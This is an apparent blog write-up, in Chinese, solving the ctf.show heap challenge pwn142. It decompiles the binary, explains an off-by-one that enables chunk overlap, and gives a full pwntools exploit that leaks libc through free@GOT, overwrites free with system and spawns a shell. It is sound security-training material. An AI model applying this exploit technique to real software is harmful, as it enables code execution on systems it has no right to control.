当前位置: 首页 > news >正文

ctf.show pwn入门 堆利用-前置基础 pwn142

 pwn142(off-by-one和堆块重叠)

pwn142

1.准备

2.ida分析
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v5; // [rsp+8h] [rbp-8h]v5 = __readfsqword(0x28u);init(argc, argv, envp);logo();while ( 1 ){menu();read(0, buf, 4uLL);switch ( atoi(buf) ){case 1:create_heap();break;case 2:edit_heap();break;case 3:show_heap();break;case 4:delete_heap();break;case 5:exit(0);default:puts("Invalid Choice");break;}}
}

就一个堆题正常的菜单,有增删改查功能,依次查看

1-create_heap(add)函数
unsigned __int64 create_heap()
{__int64 v0; // rbxint i; // [rsp+4h] [rbp-2Ch]size_t size; // [rsp+8h] [rbp-28h]char buf[8]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v5; // [rsp+18h] [rbp-18h]v5 = __readfsqword(0x28u);for ( i = 0; i <= 9; ++i ){if ( !*((_QWORD *)&heaparray + i) ){*((_QWORD *)&heaparray + i) = malloc(0x10uLL);if ( !*((_QWORD *)&heaparray + i) ){puts("Allocate Error");exit(1);}printf("Size of Heap : ");read(0, buf, 8uLL);size = atoi(buf);v0 = *((_QWORD *)&heaparray + i);*(_QWORD *)(v0 + 8) = malloc(size);if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) ){puts("Allocate Error");exit(2);}**((_QWORD **)&heaparray + i) = size;printf("Content of heap:");read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);puts("SuccessFul");return __readfsqword(0x28u) ^ v5;}}return __readfsqword(0x28u) ^ v5;
}

这里是添加堆块,在创建时先会创建一个0x10大小的结构块,然后才是我们自定义大小的内容块

4-delete_heap(delete)函数
unsigned __int64 delete_heap()
{int n0xA; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);n0xA = atoi(buf);if ( (unsigned int)n0xA >= 0xA ){puts("Out of bound!");_exit(0);}if ( *((_QWORD *)&heaparray + n0xA) ){free(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL));free(*((void **)&heaparray + n0xA));*((_QWORD *)&heaparray + n0xA) = 0LL;puts("Done !");}else{puts("No such heap !");}return __readfsqword(0x28u) ^ v3;
}

这里虽然没把内容块的指针设置为0,但输出函数调用的是结构块的指针,所以不存UAF漏洞

3-show_heap(show)函数
unsigned __int64 show_heap()
{int n0xA; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);n0xA = atoi(buf);if ( (unsigned int)n0xA >= 0xA ){puts("Out of bound!");_exit(0);}if ( *((_QWORD *)&heaparray + n0xA) ){printf("Size : %ld\nContent : %s\n",**((_QWORD **)&heaparray + n0xA),*(const char **)(*((_QWORD *)&heaparray + n0xA) + 8LL));puts("Done !");}else{puts("No such heap !");}return __readfsqword(0x28u) ^ v3;
}

正常的输出

2-edit_heap(edit)函数
unsigned __int64 edit_heap()
{int n0xA; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);n0xA = atoi(buf);if ( (unsigned int)n0xA >= 0xA ){puts("Out of bound!");_exit(0);}if ( *((_QWORD *)&heaparray + n0xA) ){printf("Content of heap : ");read_input(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL), **((_QWORD **)&heaparray + n0xA) + 1LL);puts("Done !");}else{puts("No such heap !");}return __readfsqword(0x28u) ^ v3;
}

这里修改堆块数据
关键点是这里

read_input(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL), **((_QWORD **)&heaparray + n0xA) + 1LL);

修改写入的字节数比分配的内存多1字节,造成off-by-one

3.EXP
思路:

这题有off-by-one,没有直接的连接点,再结合提示堆块重叠
所以我们可以通过合理的设置,使得一个块的结构块中内容块指针可以写为free_got地址,当我们输出那个块的时候,会输出free函数地址,获得libc基址,进而得到system地址,最后把free地址覆盖为system地址,将free函数的调用重定向到system函数,删除一个内容为'/bin/sh'的堆块,获得连接
先创建三个堆块,前两个用于构造堆块重叠,这里大小要设置为0x18,第三个堆块内容设置为'/bin/sh',留着最后释放

from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/pwn142')
elf=ELF('/home/motaly/pwn142')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')def add(size,content):io.sendlineafter("Your choice :", "1")io.sendlineafter("Size of Heap :", str(size))io.sendlineafter("Content of heap:", content)def delete(index):io.sendlineafter("Your choice :", "4")io.sendlineafter("Index :", str(index))def show(index):io.sendlineafter("Your choice :", "3")io.sendlineafter("Index :", str(index))def edit(index, content):io.sendlineafter('Your choice :','2')io.sendlineafter('Index :',str(index))io.sendafter('Content of heap :',content)add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

大小要设置为0x18的原因:
主要是因为我们的溢出是从0块内容块开始填充到1块的结构块覆盖它的size位
还有一点是下面我们释放重新创建时,因为结构块和内容块大小一致的原因,使得原先1块的内容块,会变成新块的结构块,我们可以进行修改
 


我们设置为0x18大小,系统会给大概0x20的块,设置为0x10大小,系统也会给大概0x20的块,但如果是0x10大小,只溢出一字节是是改不到目标位置的,是0x18大小,溢出一字节当好是目标位置
我们进行修改

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))

p64(0x41)是因为结构块也是0x20大小,内容块也是0x20大小,所以总共是0x40大小
修改完进一步查看
 


0x10大小时

add(0x10, b"aaa")
add(0x10, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))


发现这里是写不到我们的目标位置的
此时我们已经成功通过修改1块结构块的大小,构造了1块结构块与内容块的堆块重叠
接着我们释放1块

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)


系统会释放两个块,一个是0x40(我们修改1块结构块的大小,形成的一个块)和一个0x20(原先1块的内容块,虽然我们改了1块结构块大小,使其扩大到结构块加内容块的大小,但不影响系统识别1块的内容块)
 


 


我们这里在创建一个0x30(0x40)大小的堆块,系统就会把0x20块(原先1块的内容块)申请出来当作新块的结构块
0x40块申请出来当作内容块
创建时就可以写入堆块内容,正好新块的结构块,被它的内容块覆盖,所以我们通过填充,修改新块的结构块指针为free_got地址

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))


p64(0x18)这个值没什么要求,主要是改后面内容块指针为free_got地址
我们输出1块,因为内容块指针是free_got地址,所以会输出free函数地址,获得libc基址,进而得到system地址

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]

最后修改1块内容为system地址,因为内容块指针是free_got地址,所以修改的是free函数地址内容,也就达到了把free地址覆盖为system地址,将free函数的调用重定向到system函数的目的

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]edit(1, p64(system_addr))


释放原先准备好的2块,触发连接

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]edit(1, p64(system_addr))delete(2)
脚本
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/pwn142')
elf=ELF('/home/motaly/pwn142')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')def add(size,content):io.sendlineafter("Your choice :", "1")io.sendlineafter("Size of Heap :", str(size))io.sendlineafter("Content of heap:", content)def delete(index):io.sendlineafter("Your choice :", "4")io.sendlineafter("Index :", str(index))def show(index):io.sendlineafter("Your choice :", "3")io.sendlineafter("Index :", str(index))def edit(index, content):io.sendlineafter('Your choice :','2')io.sendlineafter('Index :',str(index))io.sendafter('Content of heap :',content)add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")edit(0, b'x'*0x18 + p64(0x41))delete(1)add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]edit(1, p64(system_addr))delete(2)
io.interactive()

相关文章:

  • STM32 Keil工程搭建 (手动搭建)流程 2025年5月27日07:42:09
  • Excel常用公式全解析(1):从基础计算到高级应用
  • STM32之FreeRTOS移植(重点)
  • 6.4.5_关键路径
  • 尚硅谷redis7 49-51 redis管道之理论简介
  • C++学习提问
  • day05-常用API(二):Lambda、方法引用详解
  • 洛谷 P3372 【模板】线段树 1
  • [学习]C语言指针函数与函数指针详解(代码示例)
  • 001 flutter学习的注意事项及前期准备
  • 商城前端监控体系搭建:基于 Sentry + Lighthouse + ELK 的全链路监控实践
  • 前端域名、端口、协议一样,本地缓存可以共享吗?
  • Quartus 开发可实现人工智能加速的 FPGA 系统
  • WPF事件处理器+x名称空间
  • ARM内核一览
  • 4月报 | SeaTunnel支持TDengine的多表Sink功能
  • Dalvik虚拟机、ART虚拟机与JVM的核心区别
  • async和await如何捕获异常
  • Python冲刺10天-如何实现基本的矩阵运算
  • AI工具的选择:Dify还是传统工具?
  • javaweb做网站的优点/seopeixun
  • 营销型网站的推广/seo优化对网店的推广的作用为
  • 海外网站推广/要做网络推广
  • yzipi wordpress/祁阳seo
  • 自己做网站统计/百度seo代理
  • 做家具城网站的意义/关键词列表